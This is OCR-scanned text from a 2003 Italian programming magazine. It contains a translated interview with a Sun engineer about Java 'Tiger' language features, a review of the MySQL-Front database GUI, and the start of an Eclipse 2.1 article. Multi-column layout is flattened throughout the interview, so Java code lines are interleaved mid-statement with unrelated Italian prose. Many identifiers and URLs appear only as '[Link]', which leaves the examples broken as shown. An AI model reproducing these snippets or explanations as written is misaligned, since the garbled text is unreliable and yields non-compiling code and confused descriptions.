E E E E E E E E E E E E E I n d i r e t t a d a S U N

Quindi, invece di: /** una colection, non facciamo altro che
* Rimuove tutte le parole di Quattro lettered a prenderne gli elementi. L’istruzione
String title = ((String) una particolare “for migliorata” fa sì che sia il compi-
[Link](i)).toUppercase(); * collezione, che deve contenere solo stringhe latore a costruire l’iterazione al posto
*/ nostro. Per esempio, ecco un metodo
Possiamo semplicemente scrivere: static void expurgate(Collection c) { che scandisce una collezione di timer
for (Iterator i = [Link](); [Link](); ) { utilizzando un iteratore:
String title = [Link](i).toUppercase(); String s = (String) [Link]();
if([Link]() == 4) void cancelAll(Collection c) {
[Link](); for (Iterator i = [Link](); [Link](); ) {
D
I miglioramenti riguarderanno
essenzialmente sei aree: ci fai } TimerTask tt = (TimerTask) [Link]();

uno spot per ognuna? } [Link]();


}
}
R
Ci proviamo: I cast non sono la cosa più bella da ve-
dere e, cosa più importante, possono
• Generics: fornisce dei meccanismi fallire a runtime. Immagina che l’uten- Vediamo ora lo stesso metodo con una
di controllo a tempo di compilazio- te passi una collection che contenga istruzione “for migliorata”:
ne per le collection ed elimina la buffer di stringa, invece di stringhe: il
noia di effettuare il casting commento dice proprio che il client è void cancelAll(Collection c) {

• Miglioramenti nei cicli: avremo tenuto a passare esclusivamente collec- for (Object o : c)

degli iteratori più semplici e più tion di stringhe, ma il compilatore non ((TimerTask)o).cancel();

immuni da errori può farci niente… Ecco come si presen- }

• Autoboxing/unboxing: elimina la te lo stesso metodo con i generics:


necessità della conversione manua- Una nota per quando si legge ad alta
le tra tipi primitivi (ad esempio int) /** voce il codice: i due punti (:) si pro-
e wrapped (Integer) * Rimuove le parole di quattro lettere fa una nunciano “in”. Sarebbe stato più natu-
• Typesafe enums: tutti i noti benefi- specifica collezione di stringhe rale introdurre due nuove parole chia-
ci della struttura Typesafe Enum, */ ve foreach e in, ma l’introduzione di
senza la passata prolissità e la con- static void expurgate(Collection<String> c) { nuove keyword risulta destabilizzante,
seguente tendenza a causare errori for (Iterator<String> i = [Link](); mentre la strada che abbiamo scelto si
• Import statico: non sarà più neces- [Link](); ) prefigge di preservare la compatibilità
sario qualificare i membri statici if ([Link]().length() == 4) nel momento in cui andiamo a specifi-
con il nome della classe cui appar- [Link](); care nuove estensioni del linguaggio.
tengono }

D
• Metadata: il supporto per i metadati Proviamo a combinare i gene-
consentirà ai vari tool disponibili di Ora risulta chiaro, dalla firma del me- rics ed un ciclo di “for migliora-
generare codice automaticamente, a todo, che la collezione ricevuta in in- to”?
partire dalle annotazioni indicate put DEVE contenere unicamente strin-

R
nel codice. Questa innovazione ri- ghe. Se il client prova a passare un col- Con piacere! Ecco l’esempio ap-
sulta particolarmente interessante, lezione di buffer di stringhe, il pro- pena illustrato con l’aggiunta dei
perché porta ad uno stile di pro- gramma non potrà essere compilato. generics:
grammazione “dichiarativo”, in cui Da notare anche che il metodo non
il programmatore “dice” cosa deve contiene alcun cast, è più breve di una void cancelAll(Collection<TimerTask> c) {

essere fatto ed i tool di turno genera- riga e, una volta chi ci si è abituati ai for (TimerTask task : c)

no il codice che soddisfa la richiesta. generics, risulta essere anche più sem- [Link]();

plice da leggere. }

D
Ci fai un esempio che illustri la

D
differenza tra filtrare una col- Parlaci un po’ del “for migliora- Io credo che sia davvero carino! Ora il
lection secondo le specifiche attuali to” programma dice esattamente cosa fa,
ed effettuare la stessa operazione con oltre a fornire il controllo dei tipi a run-

R
i generics? L’iterazione all’interno di una time.
collection è più “sgradevole” di

R D
Ecco come funziona con le attuali quanto sia necessario. Il più delle volte, Cosa ci puoi dire sull’auto-
specifiche del linguaggio: quando effettuiamo delle iterazioni in boxing?

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 11
010-013 Intervista 4-06-2003 10:24 Pagina 12

I n d i r e t t a d a S U N G G G G G G G G G G G G G G

R
Come saprai, il linguaggio Java Una vera melodia! Una cosa merita di metodo pubblico… e questo è solo un
ha un duplice sistema per i tipi: essere notata: questo programma sup- piccolo esempio rispetto a quello che si
alcuni tipi sono primitivi, mentre altri pone che quando effettuiamo l’auto- può fare!
risultano essere riferimenti ad oggetti. unbox di null, otteniamo zero. Questa

D
Non è possibile inserire dei tipi primi- rimane ancora una questione aperta: Ci mostri una classe che utilizza
tivi nelle collezioni, ed una situazione l’alternativa sarebbe quella di lanciare l’oggetto enum che hai appena
tipica è quella in cui siamo costretti a una NullPointerException. Entrambe le definito?
effettuare conversioni e riconversioni soluzioni presentano i loro vantaggi:

R
continuamente fra tipi primitivi e tipi ottenere zero come unbox di null risul- Sinceramente, speravo che me lo
wrapped quando vogliamo salvare dei ta ottimo per applicazioni come quella chiedessi! Ecco un piccolo esem-
dati all’interno delle collezioni. Chiun- appena presentata ma potrebbe anche pio che stampa una tabella con l’elenco
que si sia trovato in queste condizioni portare a nascondere l’insorgere di al- delle monete e per ogni moneta il suo
può testimoniare quanto sia noiosa la cuni errori. Se qualche lettore ritiene di colore e valore:
cosa. Ad esempio, diamo un’occhiata avere suggerimenti utili, lo invito a
al programma riportato di seguito, che contattare il gruppo di esperti JSR-201. public class CoinTest {

genera una tabella contenente i dati public static void main(String[] args) {
for (Coin c : [Link])
D
sulla frequenza con cui appaiono le pa- Quali sono i vantaggi dei nuovi
role sulla riga di comando. L’applica- pattern Typesafe Enum rispetto [Link](c + ": \t"

zione utilizza un oggetto Map, le cui al vecchio Int Enum? + [Link]() +"¢ \t" + color(c));}

chiavi sono le parole ed i cui valori so- private enum CoinColor { copper, nickel,
silver }
R
no il numero di volte che la parola ap- Cercherò di riassumerli breve-
pare nella linea: mente: private static CoinColor color(Coin c) {
switch(c) {
public class Freq { • i nuovi pattern consentono il con- case [Link]: return
private static final Integer ONE = trollo della correttezza dei tipi a [Link];
new Integer(1); tempo di compilazione case [Link]: return [Link];
public static void main(String args[]) { • forniscono un apposito namespace case [Link]:
// Maps word (String) to frequency per i tipi enumerati case [Link]: return [Link];
(Integer) • grazie al fatto di essere oggetti, è default: throw new AssertionError(
Map m = new TreeMap(); possibile inserirli nelle collection "Unknown coin: " + c);}
for (int i=0; i<[Link]; i++) { • essendo derivati da classi, è possi- } }
Integer freq = (Integer) [Link](args[i]); bile arricchirli arbitrariamente con
[Link](args[i], (freq==null ? ONE : campi e metodi Visto come abbiamo dichiarato un altro
new Integer([Link]() + 1))); oggetto enum per i colori? Grazie al fat-
}
D
Sembra davvero potente! Potre- to che monete e colori hanno namespa-
[Link](m); sti illustrare con un esempio le ce differenti, abbiamo potuto dichiara-
} nuove possibilità offerte dalla enu- re sia un oggetto Coin chiamato nickel,
} merazione typesafe? sia un colore nickel. Inoltre, hai visto
come è comodo effettuare lo switch fra

R
Riesci a vedere quanta confusione crea- Certo, ecco una rappresentazione le varie costanti di un oggetto enum?
no i cicli innestati? Ora diamo un’oc- delle monete disponibili in Ame- Questo sistema di switch torna può tor-
chiata a come appare lo stesso pro- rica: nare particolarmente utile nel momen-
gramma riscritto utilizzando auto- to in cui vogliamo “aggiungere un me-
boxing, generics, ed un ciclo con il “for public enum Coin { todo” ad una classe enum, senza modi-
migliorato” penny(1), nickel(5), dime(10), quarter(25); ficare la classe stessa per qualche moti-
Coin(int value) { [Link] = value; } vo.
public class Freq { private final int value;
public static void main(String args[]) { public int value() { return value; } }
D
Sembra davvero una cosa ben
Map<String, Integer> m = new fatta. Cosa offrirà agli sviluppa-
TreeMap<String, Integer>(); Da notare come le dichiarazioni di co- tori la nuova clausola di static im-
for (String word : args) stanti invocano un costruttore, passan- port?
[Link](word, [Link](word) + 1); do un int che rappresenta il valore in
[Link](m);
R
centesimi. E’ anche interessante il fatto Consente agli sviluppatori utiliz-
} che il valore è immagazzinato in un zare membri statici senza dover
} campo privato reso accessibile da un ogni volta indicare i nomi delle classi

12 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
010-013 Intervista 4-06-2003 10:24 Pagina 13

E E E E E E E E E E E E E I n d i r e t t a d a S U N

cui appartengono. Questa caratteristica } @Remote public String orderCoffee(String

era talmente attesa che alcuni pro- name, int quantity) {

grammatori hanno implementato la co- Nota che il tutto funziona sia con Phy- ... }

siddetta constant interface per ottenere sics definito come interfaccia, sia defi- }

lo stesso effetto: nito come classe. Ovviamente, se serve


solo a definire delle costanti, dovrebbe Tutto quel noioso codice è sparito!
// "Constant Interface" antipattern - do not use! assolutamente essere definito come
public interface Physics {
public static final double AVOGADROS_NUMBER
una classe e non come interfaccia.
D Certo, è tutto molto più pulito.
Ma non risulta possibile defini-
= 6.02214199e23;
D
Ricevuto! Ora ci potresti dire re quali siano tutti gli attributi per
public static final double BOLTZMANN_CONSTANT qualcosa circa le innovazioni tutti i tool, giusto?
= 1.3806503e-23; per i metadata?
public static final double ELECTRON_MASS
= 9.10938188e-31;}
R No, le specifiche fornite dal JSR-

R
La questione è leggermente di- 175 costituiscono solo un fra-
public class Guacamole implements Physics { versa rispetto a quelle discusse fi- mework che permette ad altri di defi-
public static void main(String[] args) { nora. Anche in questo caso l’innovazio- nire gli attributi e scrivere dei tool mi-
double moles = ...; ne è orientata a semplificare la vita dei gliori. Altri gruppi JSR (come ad esem-
double molecules = programmatori, ma con l’aiuto di chi pio il JSR-181 che sta definendo i meta-
AVOGADROS_NUMBER * moles; costruisce i tool di sviluppo. Nella pro- dati per i Web Services) sono impegna-
... grammazione attuale capita spesso che ti proprio nella definizione degli attri-
}} le API richiedano la scrittura di codice buti. Ci aspettiamo grandi novità in
ripetitivo (boilerplate). Ad esempio, questo campo.
E questa è davvero una pessima idea: quando andiamo a definire un Web

D
le interfacce servono a definire tipi, Service con JAX-RPC, dobbiamo forni- Guardando al futuro, quali ul-
non a fornire costanti. Il fatto che la re sia un’interfaccia che un’implemen- teriori cambiamenti prevedi per
classe Guacamole utilizzi delle costanti tazione per la classe: il linguaggio Java?
fisiche è solo un dettaglio implementa-
public interface CoffeeOrderIF extends
R
tivo eppure, attraverso la constant in- E’ difficile da dire: sono troppo
terface, si infiltra fra le API pubbliche [Link] { impegnato nello sviluppo di Ti-
della classe Guacamole. Non solo la co- public Coffee [] getPriceList() ger per pensare a cosa verrà dopo.
sa può generare confusione nei client throws [Link];
public String orderCoffee(String name,
D
che vogliano utilizzare questa classe, C’è un messaggio che vuoi lan-
abbiamo anche un altro e più grave ef- int quantity) ciare altermine di questa inter-
fetto: così facendo abbiamo creato un throws [Link]; } vista?
pesante vincolo per il futuro. Quando public class CoffeeOrderImpl implements
CoffeeOrderIF {
R
vorremo re-implementare la classe Vorrei dire che, più di tutto, Tiger è
Guacamole in modo che non abbia più public Coffee [] getPriceList() { una release orientata agli sviluppa-
bisogno di quelle costanti, saremo co- ... } tori. Quando il linguaggio di program-
stretti a implementarne l’interfaccia public String orderCoffee(String name, mazione Java fu presentato da James
giacché alcuni client della classe Guaca- int quantity) { Gosling e dal suo team, ebbe un succes-
mole potrebbero far riferimento a Phy- ...} } so strepitoso proprio perché veniva in
sics. L’import statico offre una alterna- contro alle reali esigenze degli sviluppa-
tiva pulita a tutto questo: è del tutto Con il supporto per i metadati, non sarà tori. Questa ulteriore release vuole con-
analogo all’import dei package, tranne più necessario scrivere in prima perso- tinuare sulla strada tracciata da Gosling.
per il fatto che in questo caso importia- na tutto questo codice: sarà sufficiente Ho avuto la fortuna di giocare con i pri-
mo membri statici da una classe invece inserire una nota che suggerisca ai tool mi prototipi di Tiger e le nuove caratte-
che da un package. quali metodi saranno utilizzati in remo- ristiche sono state una vera gioia. Ho la
Eccone un esempio: to e il tool si occuperà di generare tutto più assoluta convinzione che anche gli
il codice appena visto. Ecco come si pre- altri sviluppatori le apprezzeranno al-
import static [Link].*; senta il codice con i metadati: trettanto. Le nuove caratteristiche ga-
class Guacamole { rantiranno maggiore divertimento e più
public static void main(String[] args) { import [Link].*; produttività ad un linguaggio che era
double molecules = public class CoffeeOrder { già il più divertente ed efficace sulla
AVOGADROS_NUMBER * moles; @Remote public Coffee [] getPriceList() { piazza!
... } ... } Traduzione a cura di Raffaele del Monaco

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 13
015-025 soft 31-05-2003 9:52 Pagina 15

G G G G G G G G G G G I L S O F T W A R E S U L C D

Il Software
di ioProgrammo

MySQL-Front
Una pratica interfaccia grafica che ci aiuterà a lavorare più comodamente
con il noto database open source.

A vete intenzione di abbandonare Access e volete passare ad


uno strumento gratuito come MySQL? Avete molte ottime
ragioni per farlo: con la versione 4.0 MySQL è oramai un prodot-
di questo prodigioso strumento, è frutto del lavoro di tal Ansgar
Becker, programmatore tedesco (ci si consenta una nota a margi-
ne: anche su piattaforma Windows, è sempre bello, in un’ottica di
to maturo, e le tabelle InnoDB (una novità introdotta con la sud- progressiva indipendenza dal monopolio USA, poter contare su
detta versione) permettono anche di superare quelli che erano i li- prodotti frutto della nascente Unione Europea), ed è giunto, nel
miti storici di MySQL, ovvero la gestione delle transazioni ed il momento in cui scriviamo, alla versione 2.5. Collegandosi al sito
supporto alle “chiavi esterne” (foreign keys). Un validissimo stru- Web del prodotto all’URL [Link] viene
mento, dunque, che si va sempre più diffondendo e che sopperi- subito avviata la procedura di download del setup, che ha una
sce alla mancanza dello strumento “base di dati” nelle pur valide grandezza nemmeno eccessiva, pari a 2,3 Mb.
suite da ufficio gratuite (pensiamo ad [Link], [Link] Il sito Web, minimalista ma efficace, oltre a permettere il down-
[Link], o a 602PC Pro, [Link] limite load del prodotto ne elenca, in maniera piuttosto stringata, le ca-
che talvolta spinge il consumatore a sborsare quei 500-600 euro ratteristiche (che andremo ad elencare nel successivo paragrafo) e
necessari per entrare in possesso del pacchetto Office. Apprende- fornisce una cronistoria delle modifiche effettuate fin dall’ormai
re l’utilizzo di questo formidabile strumento gratuito ed Open lontana versione 1.1. Manca un manuale d’uso o anche delle sem-
Source può essere davvero il primo passo verso lo sviluppo di ap- plici pagine d’aiuto sul modello di quelle di [Link], ma co-
plicazioni Web, anche complesse, utilizzando la (completamente me vedremo in seguito non si tratta di una mancanza grave, in-
gratuita) piattaforma LAMP (Linux, Apache, MySQL, PHP). Però fatti lo strumento è veramente di facile utilizzo (richiede solo che
(c’è sempre un però), rispetto al più “blasonato” prodotto della si abbia una chiara “immagine concettuale” del database che si
suite Office o a valide alternative dal costo minore (come l’ottimo vuole creare, delle tabelle e dei campi, e sgrava il novello databa-
Filemaker, [Link] MySQL presenta un ostaco- se administrator di MySQL da quelli che sono i dettagli delle ope-
lo spesso insormontabile per molti: l’interfaccia a linea di caratte- razioni create, alter e drop) come avrete modo di accorgervi voi
re, con la conseguente necessità di imparare la sintassi dei vari co- stessi seguitando a leggere questo articolo.
mandi SQL create, alter e drop onde poter operare creando ed eli-
minando tabelle. Alzino la mano quanti, fra voi Lettori creatori di
database, conoscono a menadito tali comandi e la conseguente
gestione delle chiavi, degli indici e dei valori NULL, sempre na-
turalmente a forza di istruzioni standard SQL92! Fino ad oggi, un
aiuto al database administrator veniva da un prodotto molte vol-
te incluso nei CD-ROM di Linux Magazine, ovvero l’ottimo
PHPMyAdmin, sviluppato utilizzando il linguaggio PHP: tale
prodotto consente di amministrare un database MySQL sempli-
cemente collegandoci al sito sul quale abbiamo installato PHP-
MyAdmin ed impartendo i comandi, utilizzando gli strumenti ti-
pici dell’HTML. Ferma restando la validità del prodotto, il suo
uso introduce un ulteriore livello di difficoltà per quanti non vo-
gliano cimentarsi nella configurazione di un Web Server (tipica-
mente Apache) per l’esecuzione di script PHP. Oggi, almeno per
gli utenti Windows (ma non è impossibile immaginare un porting
per l’amato pinguino), anche quest’ultimo ostacolo viene a cade- Fig. 1: Il sito Web di MySQL-Front.
re: quello che presentiamo in questo articolo è un’applicazione
stand-alone (un semplice .exe, dunque, con procedura guidata per
l’installazione) che fornisce un’interfaccia grafica per connettersi I REQUISITI PER L’INSTALLAZIONE
ad un server MySQL ed eseguire su di esso tutta una serie di ope- MySQL-Front ha un elenco minimale, ma assolutamente indispen-
razioni che andremo a dettagliare. MySQL-Front, questo il nome sabile, di componenti che è necessario siano presenti sul sistema sul

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 15
015-025 soft 31-05-2003 9:52 Pagina 16

I L S O F T W A R E S U L C D G G G G G G G G G G G

quale si effettua l’installazione. La buona notizia è che, come abbia- per evitare di commettere grossolani errori nella scrittura del codi-
mo avuto modo di verificare, tali componenti sono senza dubbio ce). Dalla versione 1.18 è disponibile anche una funzionalità chiave,
presenti se sul vostro host avete effettuato l’installazione di MySQL la prima che abbiamo appreso utilizzando questo strumento (ci si
e, opzionalmente, di un altro DBMS come Microsoft Access. Vedia- perdoni, ancora, la vena nostalgica) e che costituisce, a nostro pare-
mo dunque questa breve lista di componenti. In primo luogo, è ne- re, da sola un motivo per utilizzare questo strumento, ovvero la
cessaria la presenza di [Link], la libreria client per MySQL-Ser- possibilità di importare dati da sorgenti ODBC. È presente un co-
ver. Poi è necessaria la libreria C di runtime della Microsoft, ovvero mando specifico per l’importazione di database Access (sarà il pri-
[Link]. Ancora, è necessario che sulla macchina sulla quale ope- mo che vedremo nel successivo paragrafo), per cui, nel caso deci-
rate sia presente uno stack TCP/IP e, opzionalmente, che siano pre- diate di passare a MySQL, non perderete nemmeno il lavoro svolto
senti i driver ODBC per ognuna delle basi di dati dalle quali si vuo- fino a quel momento. Come vedremo, l’importazione avviene in
le effettuare l’importazione. Come ricordato, questi componenti so- una maniera assolutamente impeccabile, anche per basi di dati
no presenti nella maggior parte delle installazioni di Windows complesse, ed avendo una certa esperienza di prodotti per la tra-
/MySQL standard e, perciò, non ce ne occuperemo oltre. duzione automatica da un formato all’altro non possiamo che spen-
dere a iosa parole di elogio per le funzionalità di MySQL-Front.
Un’unica, curiosissima, caratteristica di questa importazione, è che
LE CARATTERISTICHE SUPPORTATE vengono importati come tabelle anche i dataset risultanti dall’ese-
DA MYSQL-FRONT cuzione delle query del nostro database.
Le funzionalità offerte da questo formidabile strumento (che i Let- Dalla versione 1.21 è poi presente il prompt di login ad un’installa-
tori mi perdonino l’entusiasmo con cui ne parlo) sono davvero mol- zione di MySQL, che andiamo ad esaminare all’inizio del successi-
tissime e tutte di indubbia utilità. In primo luogo, la creazione e l’e- vo paragrafo. Infine, risulta spesso preziosa la possibilità di effet-
liminazione (drop) di database e tabelle. Poi, la possibilità di ag- tuare una diagnostica completa check-optimize-repair-analyze delle
giungere, cancellare e modificare campi e record (una premessa: nel nostre tabelle.
seguito dell’articolo supporrò che al lettore siano noti i fondamenti
sulle basi di dati, perciò non mi dilungo, ad esempio, a spiegare co-
me le tabelle sono costituite da campi, adottando un certo punto di ALLA SCOPERTA DI MYSQL-FRONT
vista, e da record, adottandone un altro). Ancora, trattare i campi Per cominciare il nostro viaggio alla scoperta del formidabile front-
BLOB (Binary Large OBjects) e MEMO (con supporto alla memoriz- end grafico tedesco, ci portiamo nel gruppo di programmi MySQL-
zazione di immagini bitmap, GIF e JPEG) non dev’essere oggetto di Front e clicchiamo sulla voce omonima (Fig. 2).
timore per chi utilizza MySQL-Front. Il prodotto permette anche di
visualizzare la lista delle variabili utilizzate dal server MySQL cui ci
si connette (vedremo nel prossimo paragrafo come), e di visualiz-
zare e “killare” altri processi dell’utente. Una novità delle ultime
versioni è la possibilità di eseguire script SQL di grandi dimensio-
ni. È possibile altresì visualizzare proprietà avanzate delle tabelle,
come il tipo (Type), i commenti (Comment), la lunghezza delle chia-
vi (Key_Lenght) e così via. Una volta che si siano costruite, in ma-
niera visuale, le tabelle, è possibile esportarne la struttura ed i dati
in uno script SQL o in un altro database.
Tramite il comando “Export tables…” è possibile effettuare la replica
di un database fra due host. Volete un formato “di impatto” per i
vostri dati? Niente paura, è possibile esportare i dati dalle tabelle in
file CSV (Comma Separed Values, ovvero valori separati da virgole,
ideali ad esempio se volete importare ed effettuare analisi dei dati
con Microsoft Excel o, perché no, con OpenOffice Calc), o in tabelle
HTML. Questa funzionalità è “a due vie”, ovvero potete, altrettan-
to facilmente, copiare i dati da un file CSV o da una tabella HTML. Fig. 2: Il gruppo di programmi di MySQL-Front.
Ancora, è facile copiare il contenuto di una tabella in un’altra, con
un nome differente. Come tutti i DBMS (Data Base Management Sy-
stems) di livello professionale (e MySQL lo è!!), MySQL supporta la Ci viene presentato il prompt di login ad un’installazione di My-
multiutenza, e tramite MySQL-Front potete facilmente aggiungere SQL, come riportato dalla Fig. 3.
altri utenti fra i gestori della base di dati (e questo permette anche La connessione predefinita viene chiamata “MySQL” e, di default,
di risparmiare tempo nell’apprendere i comandi specifici di My- utilizza la porta 3306 ed un timeout di 30 secondi, mentre è neces-
SQL). Come se non bastasse, è immediato effettuare il flush di dati sario inserire il nome o l’indirizzo IP del server MySQL e le creden-
di sistema come l’elenco degli host, i log, i privilegi e le tabelle. Ove ziali (username e password) dell’utente che accederà a MySQL. Vo-
insorga la necessità di utilizzare script SQL (ad esempio per query lendo, si possono aggiungere i dati relativi ad altre connessioni a
complesse su un database), MySQL-Front ci viene in aiuto con un server MySQL differenti cliccando sul pulsante “New” (o cancella-
editor che supporta anche la syntax-highlighting (ovvero la caratteri- re i dati relativi ad una connessione cliccando su Delete). Ancora, è
stica, nota a chi utilizza editor di livello professionale, di evidenzia- possibile abilitare la compressione del protocollo di comunicazione
re con un colore diverso le parole-chiave del linguaggio, utilissima client/server o specificare l’accesso solo a determinati database (se

16 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 31-05-2003 9:52 Pagina 17

G G G G G G G G G G G I L S O F T W A R E S U L C D

Fig. 3: Il prompt di login ad un’installazione di MySQL.

Fig. 5: È immediata la conversione di un database Access in uno


lasciamo vuota questa casella di testo, otterremo l’accesso di default MySQL.
a tutti i database definiti sul server MySQL al quale ci stiamo con-
nettendo). Clicchiamo dunque su “Connect!” e ci viene mostrata
l’interfaccia dello strumento, mostrata in Fig. 4. Come si nota dalla considerando che è stata effettuata, per l’appunto, in maniera del
figura, è possibile immediatamente visualizzare la lista delle varia- tutto automatica! A questo punto, potete selezionare il database im-
bili del server MySQL e, in una tab separata, la lista dei processi in portato, “aprirlo” (ovvero espanderne la struttura ad albero) e sele-
esecuzione; non avendo ancora selezionato alcun database/tabella, zionare una tabella (Fig. 6): vedrete che nella parte superiore com-
le due tab nella parte superiore ci mostrano solo la possibilità di paiono tre nuovi tab, rispettivamente “Database”, “Table” e “Data”.
operare sulla configurazione dell’host e sull’editor di query. Nella finestra “Database” sono elencate tutte le tabelle che costitui-
scono la nostra base dati: gli strumenti posti sulla sinistra della ta-
bella permettono di visualizzare i dati (viene aperta la tab “Data”),
mostrare le proprietà della tabella (viene aperta la tab “Table”), in-
serire un nuovo record, svuotare dai dati una tabella selezionata,
cancellare o copiare una tabella. Analogamente, se ci portiamo sul-
la finestra “Table”, possiamo visualizzarne i dati, editare campi, in-
dici e foreign keys (vedi Fig. 7; purtroppo, nella versione 2.5 del
prodotto, se clicchiamo sulla scheda “Foreign keys” ci compare solo
un “Coming soon!”) aggiungere/cancellare campi ed indici (viene
sempre aperta la finestra mostrata in Fig. 7) ed inserire un nuovo re-
cord (il programma effettua lo switch alla vista “Data”). Infine, nel-
la finestra “Data” possiamo visualizzare il contenuto delle tabelle e
selezionare uno o più record. Naturalmente, una volta che abbiamo
imparato come operare su un database importato, viene spontanea
la necessità di creare un database in MySQL utilizzando il nostro
front-end grafico.
Fig. 4: L’interfaccia di MySQL-Front.

Procediamo allora, così come ho fatto io alla prima esecuzione del-


lo strumento, a quella che per molti sarà la prima operazione da ef-
fettuare, ovvero l’importazione di un database Access preesistente.
Ci portiamo nel menu “Im-/Export” e clicchiamo su “ODBC Import”:
la finestra di dialogo che si apre è quella di Fig. 5; come potete ve-
dere, non abbiamo che da scegliere il percorso del database Access
che vogliamo importare, selezionare un nome per il database di de-
Fig. 6: Dopo aver selezionato una tabella compaiono tre nuove
stinazione, e cliccare su “Import!”. tab che permettono di operare sulle tabelle, sui campi di una
L’operazione di conversione è, vi renderete conto da soli, immedia- tabella e sui dati contenuti in una tabella.
ta ed avviene senza la minima sbavatura, anche nel caso di un da-
tabase complesso, con molte relazioni fra tabelle e dati, come quel- Ci portiamo, nella parte sinistra della finestra, sul nome dell’instal-
lo dell’esempio. Potete visitare [Link] lazione (root@localhost nelle figure), facciamo clic col tasto destro del
/WebSPIN e, nella sezione “Download”, scaricare e confrontare le mouse su di essa e, nel menu contestuale che compare, scegliamo il
due basi di dati, quella Access di partenza e quella MySQL risul- comando “Create database…”. Scriviamo il nome del nostro databa-
tante: rimarrete senz’altro stupiti dalla qualità della conversione, se e clicchiamo su OK. A questo punto il database è creato e, molto

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 17
015-025 soft 31-05-2003 9:53 Pagina 18

I L S O F T W A R E S U L C D G G G G G G G G G G G

Fig. 10: Possiamo copiare i dati di una tabella come file CSV,
Fig. 7: Dalla vista “Table” possiamo editare campi, indici e come tabella HTML o come file XML.
foreign keys.

stranamente, nella vista “Database” non siamo in grado di creare sto modo invece che come un bug, perché potrebbe essere una scel-
nuove tabelle, né ci è d’aiuto il menu contestuale che appare facen- ta di progettazione, che però a nostro avviso non rispetta i canoni
do clic col tasto destro del mouse sul nome del database. È necessa- delle interfacce grafiche in ambiente Windows): non è possibile in-
rio ricorrere al comando “Create Table…” nel menu “Tools”: compa- serire direttamente i dati, è necessario portarsi nella scheda “Table”
re la finestra di dialogo della Fig. 8, nella quale andiamo ad inserire o “Database” e cliccare sul comando “Insert record…”; a questo pun-
il nome della tabella, un eventuale commento, il tipo di tabella (per to, possiamo tranquillamente inserire i nostri dati, come mostra la
molti versi è consigliabile il tipo InnoDB; si rilegga l’introduzione Fig. 9. L’unica accortezza da tenere presente, che potrebbe disorien-
per i vantaggi derivanti dall’adozione di questo tipo di tabelle) e, ad tare l’utente, è quella di cliccare sul pulsante “Post edit” (un simbo-
uno ad uno, i campi, settandone le caratteristiche nella parte destra lo di check in nero) posto nella barra degli strumenti superiore.A
della tabella, sempre in maniera visuale. questo punto, da menu contestuale possiamo esportare i nostri da-
ti come file CSV, come tabella HTML o come file XML, come mostra
la Fig. 10. Un ultimo cenno lo merita la gestione degli utenti. Clic-
cando sul pulsante “User manager” nella barra degli strumenti (lo
trovate anche, come comando, nel menu Tools) si apre la finestra di
dialogo mostrata in Fig. 11, nella quale possiamo aggiungere un
utente ed assegnargli gli opportuni privilegi per ogni database.

Fig. 8: La creazione di una tabella.

A questo punto, clicchiamo su “Create!” e la tabella verrà creata nel


database. Ci scontriamo, a questo punto, con un bug davvero stra-
no: se clicchiamo sulla scheda “Data”, vediamo i campi della tabel-
la e possiamo tranquillamente inserire i dati, mentre se clicchiamo
sulla scheda “Table”, i campi non vengono mostrati: è sufficiente
però andare nella scheda “Database” e cliccare sul nome della tabel-
la perché il programma effettui uno switch alla scheda Table, mo-
strandoci i vari campi: ripetiamo, un bug davvero curioso! Quando
Fig. 11: Lo User Manager permette di aggiungere utenti MySQL e
cerchiamo di inserire dei dati nella scheda “Data”, ci scontriamo con
di assegnare loro gli opportuni privilegi.
un’altra “anomalia di funzionamento” (preferiamo definirla in que-

CONCLUSIONI
MySQL-Front presenta ancora qualche bug di secondaria impor-
tanza, ed ha un modus operandi che potrebbe disorientare l’utente
avvezzo alle interfacce Microsoft.
Ciò nonostante, la gratuità del prodotto, la sua versatilità e, in fon-
do, la sua facilità d’uso ne fanno un tool che non può mancare nel-
la “cassetta degli attrezzi” di chi sviluppa utilizzando il nostro ama-
Fig. 9: L’inserimento dei dati passa obbligatoriamente per il to MySQL.
pulsante “Insert record…” nella scheda “Database” o “Table”. Paolo De Nictolis

18 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
015-025 soft 4-06-2003 10:48 Pagina 23

G G G G G G G G G G G I L S O F T W A R E S U L C D

Eclipse 2.1
Open Source: la più completa piattaforma di sviluppo per Java.

Q uasi due anni or sono, era il


Novembre 2001, il colosso
IBM annunciava alla stampa la
software house e circa 1200 svi-
luppatori nel mondo. Dalla nasci-
ta il progetto si è consolidato ed
infatti grazie ai diversi plugin a
disposizione è possibile utilizzare
Eclipse anche per il disegno archi-
volontà di donare alla comunità ora è una piattaforma universale tetturale delle applicazioni con
Open Source una piattaforma in- in grado di integrare nello stesso UML o con altri formalismi di mo-
tegrata per lo sviluppo, il debug ambiente, chiamato “Workben- dellazione.
ed il test di applicazioni enterpri- ch”, qualsiasi tool di sviluppo, La struttura a plugin permette
se dal valore stimato di circa 40 strumento di modeling, di map- inoltre di espandere l’ambiente
milioni di dollari, si trattava del ping e testing. aggiungendo Ide per linguaggi di-
progetto Eclipse. versi da Java, il supporto a moltis-
L’obiettivo dichiarato era quello simi strumenti di versionamento,
di spingere l’accoppiata Linux/Ja- LA STRUTTURA l’accesso diretto ai database attra-
va verso il mercato dei Web Servi- Il framework è basato su un siste- verso interfacce JDBC e così via.
ces e delle applicazioni enterprise ma di API pubbliche e di plug-in C’è da sottolineare come, paralle-
anche dal punto di vista dello svi- le cui specifiche di sviluppo sono lamente alla comunità open sour-
luppo e non solo per gli ambienti di pubblico dominio. Questo per- ce che sta sviluppando Eclipse,
di produzione. mette a chiunque di sviluppare i siano nate moltissime correnti con
Il senso di Eclipse è, quindi, forni- propri plugin e renderli disponi- l’obiettivo di sviluppare plugin
re agli sviluppatori degli strumen- bili alla comunità open source op- per la piattaforma che consentano
ti di sviluppo sempre più sofisti- pure a pagamento. di integrare questo o quel lin-
cati e potenti grazie ad un unico L’ambiente di sviluppo compren- guaggio di programmazione, da-
framework che integri potenzial- de un repository delle informazio- tabase, strumento di integrazione.
